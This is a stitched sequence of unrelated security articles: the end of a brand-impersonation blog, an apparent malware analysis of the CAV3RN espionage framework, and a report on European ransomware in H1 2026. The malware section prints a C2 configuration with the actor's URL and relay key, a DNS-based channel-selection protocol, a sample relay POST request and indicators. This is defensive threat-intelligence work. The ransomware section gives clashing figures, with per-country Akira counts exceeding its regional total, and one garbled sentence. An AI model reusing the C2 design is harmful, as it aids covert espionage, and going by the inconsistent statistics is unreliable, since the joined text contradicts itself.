Cyble’s brand monitoring and digital risk protection capabilities help organizations identify suspicious domains, fake profiles, fraudulent websites and other forms of digital brand abuse across the online ecosystem. By bringing detection and threat intelligence together, Cyble can help security teams investigate impersonation faster and take action before fraudulent assets cause greater damage. 

References 

• FBI 2025 Internet Crime Report 

• FTC Data Show People Reported Losing $3.5 Billion to Imposter Scams in 2025 

Media Disclaimer: This blog was compiled from publicly available government advisories and open-source security reporting. It is provided for reference purposes only; readers bear full responsibility for their reliance on it. 

The post When the Attacker Wears Your Logo: Detecting and Taking Down Impersonation at AI Speed appeared first on Cyble.

Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service, and the second was published on Securelist the following month, further documenting the framework’s evolving architecture and C2 capabilities.

Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework’s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel.

We also identified the framework’s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades.

Multi-transport C2 communication module

The communication module, GoogleService.dll, is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is:

C:\Users\user\Desktop\Modules\broker-cavern\communication\GoogleCommunication\bin\Release\net8.0\win-x64\native\GoogleService.pdb

NativeAOT data also revealed references to eight source files, including the Direct.cs, FindMode.cs, and Google.cs.

The DLL exports GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate. During initialization, its host (local broker) registers the module’s callback and starts CheckAvailability. After three seconds, the module sends a type-0 frame to the fixed identifier 33A4BA78-E286-4FF2-85EC-7365265F3D93. The broker returns Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93, which the module expects and uses to learn the broker’s name before starting its C2 worker.

C2 packets contain type, cid, and payload fields. Packets of the type icmgdd are processed by the communication module itself, while other types, including broker, are forwarded to the local broker. Within command payloads, _;;_ separates the command from its arguments and _,_ separates individual arguments.

At startup, the worker internally sends:

{"type":"icmgdd","cid":0,"payload":"s_version_;;_"}

The s_version handler enumerates DLLs under AppContext.BaseDirectory, collects their company names and versions, and appends the communication module’s name/version and the local broker’s name. This inventory is serialized as JSON, XORed with 0xAC, Base64-encoded, and sent as the module’s initial C2 report.

The module supports five internal commands:

Command	Functionality
s_version	Returns the DLL-version inventory described above. The command is executed automatically at startup.
s_config	Returns the active configuration and, when provided with a JSON configuration object, replaces it in memory.
s_enLog	Enables diagnostic logging at the Debug level.
s_deLog	Disables diagnostic logging and sets the logging level to Fatal.
s_write	Base64-decodes and GZip-decompresses provided data before writing it to the specified file path.

The module reads conf.json from the process’s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk.

{
  "to": "<generated seven-character ID>", // Client ID
  "ad": "https://api.studiotikva.com/api/v1/update/check", // Direct C2 URL
  "ho": "studiotikva.com", // DNS domain
  "gi": "<redacted>", // Apps Script deployment ID
  "de": false, // Enable Debug logging at startup
  "mi": 120000, // Poll-delay reset after a non-empty response
  "ma": 18000000, // Progressive poll-delay cap
  "ri": 30000, // Base DNS recovery/error delay, with positive jitter
  "ga": "s3criitC0d3/8-)B-,)", // Apps Script relay authentication key
  "gu": "https://script.google.com/macros/s/{0}/exec",
  "ua": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31",
  "mcc": 50, // unknown
  "mtc": 10 // unknown
}

The s_config command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to conf.json.

Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script:

<random nonce><error state>.<hex-encoded client ID>.m.studiotikva.com

The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: 0 for None, 1 for GIDFailed, 2 for GoogleFailed, and 3 for DirectFailed. Each new transaction starts in state 0.

The exact response 12.19.29[.]30 is treated as a rejection. Other responses are interpreted according to their fourth octet:

Fourth octet	None (0)	GIDFailed (1)	GoogleFailed (2)	DirectFailed (3)
120 (0x78)	Google Apps Script	Direct HTTPS	Direct HTTPS	Google Apps Script
130 (0x82)	Direct HTTPS	Direct HTTPS	Direct HTTPS	Close the transaction (no channel)
140 (0x8C)	Exception	Exception	Exception	Exception
All other values	Google Apps Script	Google Apps Script	Google Apps Script	Google Apps Script

During analysis, valid .m queries returned 12.121.234[.]120, while malformed queries returned 12.19.29[.]30. For example, YCZ2.41414141303030.m.studiotikva[.]com carries state 2, so the final octet 120 selects Direct HTTPS.

When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by <random5>.<hex-ID>.q.studiotikva[.]com. A mismatch causes the module to retrieve a replacement through .p queries: <random5>.<hex-ID>.p.studiotikva[.]com.

The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response 74.65.75.102 represents 4A 41 4B 66: a length of 74 followed by AKf. The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76.

One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as AKfycby46v0DPSEKWYa****dvQ. The .q response 247.188.216[.]122 contains the bytes f7 bc d8 7a, matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check.

Google Apps Script channel

When DNS selects Google mode, the module inserts the deployment ID into https://script.google[.]com/macros/s/{deployment-ID}/exec.

Direct GET requests return a decoy page titled My App with the message This application is running normally. C2 polling instead uses an outer POST to Apps Script whose "m":"GET" field instructs the relay to issue a GET request to its upstream server:

POST /macros/s/AKfycbw2Wo4nYIQ*************UxSvjunDmNpeA/exec HTTP/1.1
Host: script.google.com
Content-Type: application/json

{"k":"s3criitC0d3/8-)B-,)","m":"GET","h":{"X-Client-Id":"AAAA000","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"},"b":null,"ct":null,"r":true}

The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response:

HTTP/2 302
content-type: text/html; charset=UTF-8
access-control-allow-origin: *
location: https://script.googleusercontent.com/macros/echo?user_content_key=AUkAhnT1XStTpObO…&lib=MQif1e23CL4IxZSlC7RWEgUDuxmmFKhYR
server: GSE

HTTP/2 200
content-type: application/json; charset=utf-8
access-control-allow-origin: *
server: GSE

{"s":200,"h":{"Content-Type":"text/html; charset=utf-8","Vary":"Cookie","Server":"nginx","Content Length":"4","Connection":"keep-alive","Date":"Mon, 03 Aug 2026 20:07:54 GMT","Access-Control-Allow-Origin":"*"},"b":"OS9FPQ=="}

Decoding b produces 9/E=; decoding it again produces f7 f1, which XORs with 0xAC to [], indicating an empty task list. An upstream timeout also exposed https://api.studiotikva[.]com/ac, confirming that the Apps Script deployment forwards requests to an actor-controlled backend.

Direct HTTPS channel

When DNS selects Direct HTTPS, the module contacts the configured ad address, https://api.studiotikva[.]com/api/v1/update/check, without using the relay. This occurs when the final octet is 130 (0x82) in the None, GIDFailed, or GoogleFailed states, or 120 (0x78) in the GIDFailed or GoogleFailed states. The endpoint expects the custom X-Client-Id header; requests without the expected header return {"res":"failed"} in its HTTP response.

However, a GET request carrying the correct X-Client-Id value receives a 76-byte body as shown in the following figure:

Base64-decoding the response body and XORing it with 0xAC produced the following broker-directed task packet: [{"type":"broker","cid":109,"payload":"002_;;__,_"}]. The broker type instructs the communication module to forward the task to the local broker.

Inter-component DLL broker

The inter-component broker, rnp.dll, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is C:\Users\user\Desktop\Modules\broker-cavern\1.out\rnp.pdb. It masquerades as the RNP OpenPGP library through numerous rnp_* exports, while rnp_backend_string starts the broker.

The broker coordinates the framework’s DLL components. At startup, it creates the BROKER control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate.

The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected.

Loaded components exchange messages through the broker. It locates the requested destination and invokes that component’s callback. Unknown destinations return Err1::<destination>, while unavailable components return Err2::<destination>.

Command	Function
000	Lists loaded component names and versions
001	Lists every DLL path discovered by the scanner
002	Lists each loaded component’s path, name, and version

The 002_;;__,_ task recovered from the Direct HTTPS channel is forwarded by the communication module to this broker, which returns its component inventory. When unloading or replacing a component, the broker calls its IsPrimeNumber export and waits for its worker threads to stop before unloading the DLL.

Infrastructure

Historical records show that studiotikva[.]com was first registered in February 2024. Wayback Machine captures show Wix’s default disconnected-domain page, while passive DNS associated the domain with Wix infrastructure hosted in an Israeli data center. The domain expired in February 2026 and was subsequently re-registered. It may therefore have originally belonged to a legitimate Israeli business and been acquired by the threat actor only after its expiration; the available evidence does not indicate when ownership changed.

The domain was registered again on May 12, 2026, and redelegated on May 19 to ns1.studiotikva[.]com and ns2.studiotikva[.]com, resolving to 144.172.115[.]17 and 144.172.104[.]82. It later hosted a generic “Studio Tikva” website that provided locally plausible cover: “Tikva” (תקווה) means “hope” in Hebrew.

The infrastructure supported authoritative DNS and direct HTTPS C2. The Google Apps Script deployment acted as an application-layer relay; during an upstream timeout, it exposed https://api.studiotikva[.]com/ac, revealing the actor-controlled backend endpoint.

Domain	Registrar	IP	Hosting	ASN
studiotikva[.]com api.studiotikva[.]com ns1.studiotikva[.]com ns2.studiotikva[.]com	Dynadot Inc	144.172.115[.]17 144.172.104[.]82	RouterHosting LLC	AS 14956

Conclusions

Project CAV3RN continues to evolve, introducing increasingly sophisticated components and communication capabilities. By abusing legitimate services — previously Outlook calendar events and now Google Apps Script — the framework blends its C2 traffic with normal network activity, complicating network-based detection. Given its development pace, modular design, and operational tempo, we assess that CAV3RN will likely continue to expand. We will continue tracking the framework and reporting on its activity in the wild.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

904784c9943d019da332bea2cd03996f              CommunicationUxTheme.dll
f9156d42410c8a5429dec43329bd72e0              net.dll
2dcd4a8ac166404977cd3c48418a8cd9              rnp.dll
981c7404d31b8ce35ec88a6b290f354d              GoogleService.dll
34d50eec364d920b8b5d885c9bc98607             texture.dll

Domains and IPs

studiotikva[.]com
api.studiotikva[.]com
ns1.studiotikva[.]com
ns2.studiotikva[.]com
144.172.115[.]17
144.172.104[.]82

Europe faced a ransomware onslaught in the first half of 2026 that sets a troubling precedent for the remainder of the year. According to Cyble Research and Intelligence Labs (CRIL), the region experienced 866 documented ransomware attacks, 51 confirmed data breach incidents, and 7 initial access sales between January and June 2026. These figures represent not just a volume problem, but a fundamental shift in how threat actors are organizing, targeting, and monetizing their operations within European territory.

What distinguishes the ransomware threats in Europe from other global regions is the concentration of power among a small number of highly sophisticated threat actors. While the threat ecosystem encompasses dozens of groups, five dominant ransomware operators account for approximately 55% of all documented activity. This concentration creates predictability—European security leaders can now identify, profile, and build specific defensive strategies against known adversaries.

The Five Dominant Ransomware Groups Targeting Europe

1. Qilin: The Biggest Ransomware Threat in Europe

Attack Volume: 158 documented incidents (18.2% of regional total)

Qilin stands as the dominant ransomware threat actor targeting Europe, commanding operational superiority through sophisticated affiliate management, rapid exploit weaponization, and industry-specific targeting intelligence.

Geographic Concentration:

• Germany: 32 attacks (highest single-country targeting)
• France: 28 attacks
• United Kingdom: 26 attacks
• Spain: 20 attacks
• Italy: 19 attacks

Worldwide Sectoral Targeting: Qilin demonstrates deliberate sectoral selection rather than opportunistic targeting:

• Construction: 103 incidents (primary focus)
• Professional Services: 90 incidents (legal, accounting, consulting firms)
• Manufacturing: 67 incidents (industrial operations)
• Government & Law Enforcement: 19 incidents
• Technology: 22 incidents

Operational Characteristics:

Qilin's dominance stems from understanding European organizational economics. Construction projects operate under time-sensitive contracts with contractually-defined penalties for delay. A single day of downtime on a €50 million construction project can trigger cascading costs exceeding €100,000. This economic reality translates directly into ransom payment likelihood, making Qilin's targeting strategy rational and highly effective.

The group maintains an extensive affiliate network capable of concurrent operations across multiple European nations. Evidence suggests Qilin has compartmentalized its operations: initial access brokers handle reconnaissance and network compromise, mid-tier operators manage lateral movement and privilege escalation, and final-stage operators execute encryption and exfiltration. This division of labor enables rapid scaling and reduces attribution risk.

Why Qilin Dominates:

• Industry Expertise: Deep understanding of construction project timelines and financial exposure
• Affiliate Loyalty: Competitive payout structures (estimated 70-80% to affiliates) ensure consistent operator recruitment
• Exploit Library: Rapid weaponization of both known and zero-day vulnerabilities
• Data Monetization: Established data brokerage partnerships ensure exfiltrated data reaches buyers

European Security Implications: Organizations in construction, professional services, and manufacturing should treat Qilin as their primary threat actor concern. Defensive strategies must prioritize data exfiltration prevention, network segmentation, and immutable backup infrastructure.

2. The Gentlemen: The Rising European Threat

Attack Volume: 144 documented incidents (16.6% of regional total)

The Gentlemen represent an emerging threat actor that has achieved remarkable scale in a relatively short operational window. Unlike established groups that evolved from other cybercriminal operations, The Gentlemen appear purpose-built for ransomware-as-a-service operations.

Geographic Concentration:

• Europe: 144 attacks (primary focus)
• United States: 100 attacks (secondary focus)
• Thailand: 35 attacks (supply-chain targeting)
• South Asia: 40 attacks

Worldwide Sectoral Targeting:

• Construction: 45 incidents
• Manufacturing: 56 incidents
• Healthcare: 37 incidents
• IT & ITES: 36 incidents
• Professional Services: 29 incidents

Operational Characteristics:

The Gentlemen's rapid emergence and sustained growth suggest significant operational funding and technical sophistication. The group's geographic diversification—maintaining European dominance while aggressively expanding into Asia-Pacific—indicates either organizational scale or partnerships with regional threat actors.

Notably, The Gentlemen's Thailand targeting (35 incidents) suggests supply-chain attack sophistication. By compromising manufacturing and logistics operations in Thailand, the group can leverage these beachheads for downstream attacks against Western European organizations. This cross-continental supply-chain targeting represents a significant evolution in ransomware operational sophistication.

Key Distinction: While Qilin focuses on maximizing ransom payments from individual targets, The Gentlemen appear to prioritize operational scale and geographic expansion. This suggests the group may be building toward either:

1. A mega-RaaS platform rivaling LockBit's historical dominance
2. Preparation for potential acquisition or partnership with state-sponsored actors
3. Geographic arbitrage—leveraging lower prosecution risk in developing nations while maintaining European operations

European Security Implications: The Gentlemen's emergence signals market competition is intensifying. Organizations should monitor this group's operational evolution closely, as aggressive growth often precedes operational mistakes that create defensive opportunities.

3. LockBit: The Persistent Legacy Threat

Attack Volume: 61 documented incidents (7.0% of regional total)

LockBit's presence in European targeting represents a significant finding given sustained law enforcement pressure and multiple platform disruption attempts. Despite being targeted by coordinated international takedown operations, LockBit maintained operational capability throughout H1 2026.

Geographic Concentration:

• Europe: 61 attacks (Primary operations)
• North America: 47 attacks (Secondary operations)
• Distributed: Global presence indicating resilient infrastructure

Worldwide Sectoral Targeting:

• Construction: 22 incidents
• Manufacturing: 22 incidents
• Government & LEA: 12 incidents
• Healthcare: 19 incidents
• Professional Services: 13 incidents

Operational Resilience:

LockBit's continued operations despite international enforcement actions demonstrate several critical lessons:

1. Affiliate Compartmentalization: By maintaining separate operational cells, LockBit can continue operations even when core infrastructure is disrupted
2. Rapid Rebranding: The group has adopted multiple identities and platform variants, complicating attribution
3. Infrastructure Redundancy: Multiple command-and-control server locations across jurisdictions with varying law enforcement cooperation levels
4. Operator Recruitment: Continuous recruitment of new affiliates from emerging cybercriminal talent pools

The group's continued viability suggests that law enforcement actions, while disruptive, are insufficient to eliminate established RaaS operations. Organizations cannot rely on law enforcement intervention as a defensive strategy; they must assume LockBit and similar groups will remain operational threats indefinitely.

European Security Implications: LockBit should remain on European security teams' active threat monitoring lists. The group maintains technical sophistication, access to critical zero-day exploits, and demonstrated willingness to target European critical infrastructure.

4. Akira: The Opportunistic European Operator

Attack Volume: 59 documented incidents (6.8% of regional total)

Akira represents a secondary-tier ransomware group with focused European operations. The group demonstrates strong preference for Manufacturing and Construction sectors, suggesting industry-specific expertise or targeted affiliate recruitment.

Geographic Concentration:

• Europe & UK: 59 attacks (Secondary focus)
• North America: 268 attacks (Primary focus)
• Secondary: Limited operations in other regions

Worldwide Sectoral Targeting:

• Manufacturing: 54 incidents
• Construction: 57 incidents
• Professional Services: 47 incidents
• Consumer Goods: 34 incidents
• Healthcare: 13 incidents

Operational Profile:

Akira's disproportionate North American presence (268 attacks) with lower European activity (59 attacks) suggests the group may have established affiliate networks in North America with secondary capacity for European operations. The strong manufacturing and construction focus mirrors Qilin's strategy, indicating these sectors offer superior ransom payment likelihood across multiple geographic markets.

European Security Implications: While not as immediately threatening as Qilin or The Gentlemen, Akira's persistent operations warrant inclusion in threat modeling exercises. European manufacturing and construction organizations should monitor Akira's affiliate recruitment channels and tactical innovations.

5. Dragonforce: The Supply-Chain Specialist

Attack Volume: 54 documented incidents (6.2% of regional total)

Dragonforce rounds out the top-five European threat actors with apparent specialization in Manufacturing and Technology sectors, suggesting possible supply-chain attack capabilities.

Geographic Concentration:

• North America: 135 attacks (Primary focus)
• Europe & UK: 54 attacks (Secondary focus)
• Secondary: Limited global operations

Worldwide Sectoral Targeting:

• Manufacturing: 31 incidents
• Construction: 48 incidents
• Professional Services: 28 incidents
• Food & Beverages: 9 incidents
• Healthcare: 9 incidents

Operational Pattern:

Dragonforce's heavy US focus with secondary European operations suggests the group may be leveraging North American-based supply chains to gain access to European targets. Manufacturing supply chains are deeply interconnected across transatlantic partners; compromising US manufacturers could provide lateral access into European operations.

European Security Implications: European manufacturing organizations should implement aggressive third-party risk management programs, particularly for US-based suppliers. Dragonforce's supply-chain sophistication suggests the group may bypass direct targeting in favor of compromising upstream vendors.

Also read: The Most Active Threat Actors of H1 2026

The Five Most Targeted European Nations

Germany: The Manufacturing Battleground

Attack Volume: 155 ransomware attacks (17.9% of regional total)

Germany's position as Europe's manufacturing powerhouse places it at the center of ransomware targeting campaigns. The nation's industrial sector—encompassing automotive, machinery, chemicals, and precision manufacturing—represents the most valuable ransomware target set in Europe.

Threat Actor Concentration:

• Qilin: 32 attacks (20.6% of German total)
• The Gentlemen: 32 attacks
• LockBit: 18 attacks
• Akira: 32 attacks
• Dragonforce: 9 attacks

Sectoral Breakdown:

• Manufacturing: 67 incidents (significant concentration)
• Construction: 38 incidents
• Professional Services: 28 incidents
• Technology: 15 incidents
• Healthcare: 12 incidents

Why Germany Faces Maximum Pressure

German organizations represent an optimal target combination: high asset value, supply-chain criticality, strong operational technology integration, and proven willingness to pay ransoms to maintain production schedules. Additionally, Germany's federal structure creates jurisdictional complexity that may slow law enforcement response.

The nation's Mittelstand (mid-market manufacturing firms) are particularly vulnerable—large enough to justify ransom payments, but sometimes lacking enterprise-grade security infrastructure.

Defensive Priority: German manufacturing organizations should assume Qilin, The Gentlemen, Akira, and Dragonforce all maintain active operations targeting their sector. Network segmentation between IT and operational technology (OT) environments should be elevated to critical priority.

United Kingdom: The Financial Services Crosshairs

Attack Volume: 138 ransomware attacks (15.9% of regional total)

The UK faces a different threat profile than Germany, driven primarily by London's position as a global financial services hub. While manufacturing is targeted, Banking, Financial Services, and Insurance (BFSI) organizations command disproportionate attention.

Threat Actor Concentration:

• Qilin: 26 attacks
• The Gentlemen: 26 attacks
• LockBit: 18 attacks
• Akira: 13 attacks
• Dragonforce: 11 attacks

Sectoral Breakdown:

• BFSI: 38 incidents (concentrated targeting)
• Technology: 32 incidents
• Retail: 26 incidents
• Professional Services: 24 incidents
• Government & LEA: 16 incidents

Why the UK Is Targeted

London's financial services ecosystem manages trillions in assets, making it extraordinarily valuable to data-exfiltrating threat actors. BFSI organizations hold customer financial data, internal financial records, and strategic information that commands premium prices on dark web marketplaces.

Additionally, regulatory requirements (FCA, PRA, etc.) create pressure for rapid ransom payment to avoid breach notification delays that could trigger regulatory sanctions.

Data Exfiltration Risk: The UK's status as a financial services hub makes it particularly vulnerable to data-centric attack strategies. Organizations should assume that successful breach attempts will include aggressive data exfiltration alongside encryption deployment.

Defensive Priority: UK BFSI organizations must implement robust data loss prevention (DLP), encryption for data in transit and at rest, and aggressive monitoring for unauthorized data access or exfiltration attempts.

France: The Balanced Threat

Attack Volume: 119 ransomware attacks (13.7% of regional total)

France experiences balanced threat distribution across multiple sectors, reflecting both its manufacturing capacity and significant professional services sector.

Threat Actor Concentration:

• Qilin: 28 attacks
• The Gentlemen: 28 attacks
• LockBit: 15 attacks
• Akira: 14 attacks
• Dragonforce: 8 attacks

Sectoral Breakdown:

• Professional Services: 26 incidents
• Manufacturing: 24 incidents
• Construction: 19 incidents
• Technology: 14 incidents
• Healthcare: 10 incidents

Why France Faces Distributed Threat

As Europe's second-largest economy, France is attractive to ransomware operators across multiple sectors. The nation's professional services sector (legal, accounting, consulting) is particularly valuable for data exfiltration, while manufacturing remains a consistent target.

Defensive Priority: French organizations should implement sector-specific defensive strategies: professional services firms should prioritize client data protection and DLP, while manufacturing organizations should focus on OT segmentation and operational resilience.

Italy: The Construction and Manufacturing Hub

Attack Volume: 115 ransomware attacks (13.3% of regional total)

Italy faces concentrated targeting in construction and manufacturing sectors, with particular pressure on small-to-medium enterprises in industrial regions.

Threat Actor Concentration:

• Qilin: 19 attacks
• The Gentlemen: 18 attacks
• LockBit: 12 attacks
• Akira: 16 attacks
• Dragonforce: 8 attacks

Sectoral Breakdown:

• Construction: 48 incidents (concentrated)
• Manufacturing: 38 incidents
• Professional Services: 18 incidents
• Retail: 14 incidents

Why Italy Faces Sector-Specific Pressure

Italy's construction industry is particularly vulnerable to ransom attacks due to tight project timelines and significant financial exposure. The nation's manufacturing sector, while sophisticated, sometimes operates with legacy infrastructure that creates exploitation opportunities.

Defensive Priority: Italian construction and manufacturing organizations should prioritize incident response readiness, backup infrastructure resilience, and supply-chain risk management.

Spain: The Emerging Risk

Attack Volume: 87 ransomware attacks (10.0% of regional total)

Spain experiences lower absolute attack volume than Germany, UK, France, or Italy, but faces concentrated pressure in manufacturing and professional services sectors.

Threat Actor Concentration:

• Qilin: 20 attacks
• The Gentlemen: 18 attacks
• LockBit: 8 attacks
• Akira: 12 attacks
• Dragonforce: 7 attacks

Sectoral Breakdown:

• Manufacturing: 28 incidents
• Professional Services: 19 incidents
• Construction: 16 incidents
• Technology: 10 incidents

Regional Observation: Spain's lower attack volume may reflect either lower overall ransomware targeting or more effective defensive implementations. Spanish security teams should not interpret lower numbers as reduced threat but rather as a baseline for future comparison.

Where European Organizations Face Maximum Risk: A Sectoral Analysis

Construction: The Ransomware Goldmine

Attack Volume: 107 documented incidents (58% of all sector targeting across regions – not just in Europe – analyzed)

Construction organizations face disproportionate ransomware targeting across the entire European region. This concentration reflects understood economic vulnerabilities that threat actors exploit with precision.

Why Construction Is Targeted

1. Time-Sensitive Financial Exposure: Construction projects operate under contractually-defined timelines. Each day of delay triggers cascading costs, financial penalties, and potential contract termination. Organizations facing potential loss of €50-100 million contracts will prioritize rapid recovery over law enforcement involvement.
2. Operational Technology Integration: Modern construction increasingly relies on Building Information Modeling (BIM), cloud-based project management, and real-time equipment tracking. This IT/OT convergence creates exploitation pathways unavailable in purely IT-based industries.
3. Supply-Chain Complexity: Construction projects depend on dozens of subcontractors and suppliers. Compromising a single upstream supplier can provide lateral access into prime contractors.
4. Financial Pressure: Construction firms often operate with tight cash flow, making ransom negotiation essential to preserve solvency.
5. Accessibility: Many construction firms, particularly smaller regional players, operate with basic security infrastructure, creating easy exploitation opportunities.

European Construction Risk Mapping:

• Germany (14 attacks): Heavy machinery and precision manufacturing integration
• Switzerland (10 attacks): Legacy infrastructure vulnerabilities
• Spain (13 attacks): Emerging targeting activity
• France (10 attacks): Balanced threat across major metropolitan areas
• UK (21 attacks): Infrastructure project concentration (rail, utilities, etc.)

Defensive Recommendations for Construction:

• Network Segmentation: Isolate operational technology (project equipment, heavy machinery) from corporate IT networks
• Access Control: Implement strict authentication for remote project management tools (Autodesk Forge, Procore, etc.)
• Immutable Backups: Maintain offline, immutable backups of critical BIM files and project documentation
• Incident Response Readiness: Develop construction-specific response playbooks addressing project continuity
• Supply-Chain Due Diligence: Implement security requirements for subcontractors and equipment suppliers

Professional Services: The Data Exfiltration Target

Attack Volume: 86 documented incidents

Professional services firms (law, accounting, consulting) face sophisticated targeting driven by data exfiltration opportunities rather than operational disruption pressure.

Why Professional Services Are Targeted

1. Client Confidentiality Risk: Legal privilege and client confidentiality create existential regulatory and reputational exposure. Threat actors leverage this to demand premium ransoms.
2. Sensitive Data Concentration: Professional services firms accumulate client financial records, litigation strategies, tax information, and corporate secrets—all commanding premium dark web prices.
3. Regulatory Exposure: GDPR breach notification requirements create pressure for rapid response and ransom payment to avoid regulatory sanctions.
4. Supply-Chain Position: Professional services firms advise major corporations; compromising advisors provides indirect access to clients.
5. Trust-Based Business Model: Client relationships depend on confidentiality. A single breach can destroy long-term client relationships and firm reputation.

European Professional Services Risk:

• France (16 attacks): Concentrated targeting of Paris-based firms
• Germany (16 attacks): Heavy focus on Frankfurt financial advisory firms
• UK (17 attacks): London-based legal and accounting partnerships
• Italy (6 attacks): Milan and Rome-based advisory firms
• Spain (7 attacks): Barcelona and Madrid professional services sector

Key Finding: Professional services firms experience disproportionate data breach incidents (exfiltration with confirmed leak activity) compared to other sectors. Of the 51 total data breach incidents across Europe and UK, professional services represents a concentrated target.

Defensive Recommendations:

• Client Data Segregation: Isolate client data on separate network segments with distinct access controls
• Data Loss Prevention (DLP): Deploy DLP solutions with aggressive egress controls monitoring client data exfiltration
• Encryption Standards: Implement client-facing encryption for all sensitive communications
• Access Auditing: Maintain comprehensive logs of all access to sensitive client data
• Ransomware-Specific Insurance: Consider cyber insurance with specific ransomware coverage addressing confidentiality exposure

Manufacturing: The Supply-Chain Critical Target

Attack Volume: 123 documented incidents

European manufacturing organizations face sophisticated, supply-chain-aware threat actors who understand production dependencies and downtime economics.

Why Manufacturing Is Targeted

1. Operational Technology Integration: Modern factories integrate IT and OT systems. Ransomware deployment can halt production lines, creating catastrophic financial exposure.
2. Supply-Chain Criticality: Manufacturing downtime cascades through dependent enterprises. A single organization's compromise can impact dozens of downstream customers.
3. Export Dependency: European manufacturers serve global markets. Production delays translate directly into lost revenue and market share.
4. Legacy Infrastructure: Many manufacturing facilities operate aging, unpatched systems integrated with newer IT infrastructure, creating exploitation bridges.
5. Financial Pressure: Manufacturing organizations face razor-thin margins; production downtime can drive solvency crises.

Geographic Manufacturing Risk Concentration:

• Germany (27 attacks): Automotive, machinery, precision manufacturing
• Italy (21 attacks): Fashion, machinery, chemical manufacturing
• France (15 attacks): Automotive, aerospace, industrial manufacturing
• Spain (10 attacks): Automotive, machinery, manufacturing
• UK (14attacks): Aerospace, automotive, precision manufacturing

Critical Vulnerability Pattern: Manufacturing organizations are disproportionately targeting known, exploitable vulnerabilities in critical infrastructure appliances (network appliances, security tools, identity systems). Rather than deploying zero-days, threat actors exploit patched vulnerabilities that organizations have not implemented.

Defensive Recommendations:

• OT/IT Segmentation: Implement airgapped network separation between operational technology and corporate IT
• Vulnerability Management Prioritization: Focus patching efforts on network appliances, security tools, and identity systems
• Industrial Control System (ICS) Monitoring: Deploy behavioral monitoring for unusual activity on manufacturing control systems
• Immutable Backup Strategy: Maintain completely offline backups of critical manufacturing configurations
• Supply-Chain Security Program: Implement tier-1 and tier-2 supplier security assessments and vulnerability scanning
• Incident Response Scenario Planning: Develop detailed playbooks for production-line ransomware scenarios

Healthcare: The Critical Infrastructure Threat

Attack Volume: 35 documented incidents

Healthcare organizations face a unique threat dynamic where ransomware directly endangers patient safety, creating existential operational pressure distinct from financial threats.

Why Healthcare Is Targeted

1. Patient Safety Risk: Ransomware disables critical medical systems (diagnostic equipment, pharmaceutical dispensing, patient records). Unlike other industries, downtime directly threatens life.
2. Regulatory Pressure: GDPR, HIPAA-equivalent regulations, and national privacy laws create breach notification requirements that incentivize ransom payment.
3. Data Value: Patient medical records, pharmaceutical research data, and clinical trial information command premium dark web prices.
4. Continuous Operation Requirement: Unlike manufacturing or services, healthcare cannot delay critical procedures. The operational pressure to pay ransoms is existential.
5. System Complexity: Healthcare IT environments integrate numerous legacy systems (PACS, EHR, medical devices) with varying security architectures.

European Healthcare Risk Distribution:

• Germany (14 attacks): Concentrated in Berlin, Munich, and Frankfurt urban medical centers
• Austria (2 attacks): private healthcare sector
• France (5 attacks): Concentrated in Paris and Lyon region hospitals
• Switzerland (3 attacks): medical centers
• Spain (3 attacks): Barcelona and Madrid hospital networks

Critical Finding: Healthcare organizations experience disproportionately high data breach incident rates, suggesting organized threat actors specifically target health information exfiltration.

Defensive Recommendations:

• Clinical System Isolation: Implement complete network separation between clinical systems and corporate IT
• Redundant Critical Systems: Deploy redundant diagnostic and pharmaceutical systems capable of manual operation
• Patient Data Encryption: Implement end-to-end encryption for all patient medical records
• Breach Response Planning: Develop healthcare-specific incident response plans addressing patient notification and continuity of care
• Medical Device Security: Implement inventory and monitoring for all connected medical devices
• Supply-Chain Assessment: Assess security of medical device manufacturers and pharmaceutical distributors

The Data Exfiltration Reality: Beyond Encryption

Confirmed Data Breaches: 51 Incidents Across Europe and UK

While ransomware attacks total 866, only 51 incidents resulted in confirmed data breaches and leaks (5.9% confirmation rate). This apparent low percentage masks a critical operational truth: organizations cannot distinguish between encryption-only attacks and data exfiltration scenarios until exfiltration attempts or threats emerge.

Data Breach Distribution by Sector:

Sector	Confirmed Breaches	Percentage
BFSI	9	17.6%
Telecom	9	17.6%
Retail	8	15.7%
Government & LEA	6	11.8%
Media & Entertainment	5	9.8%
Technology	4	7.8%
Healthcare	4	7.8%
Automotive	3	5.9%
Construction	2	3.9%
Education	1	2.0%
Others	6	11.8%

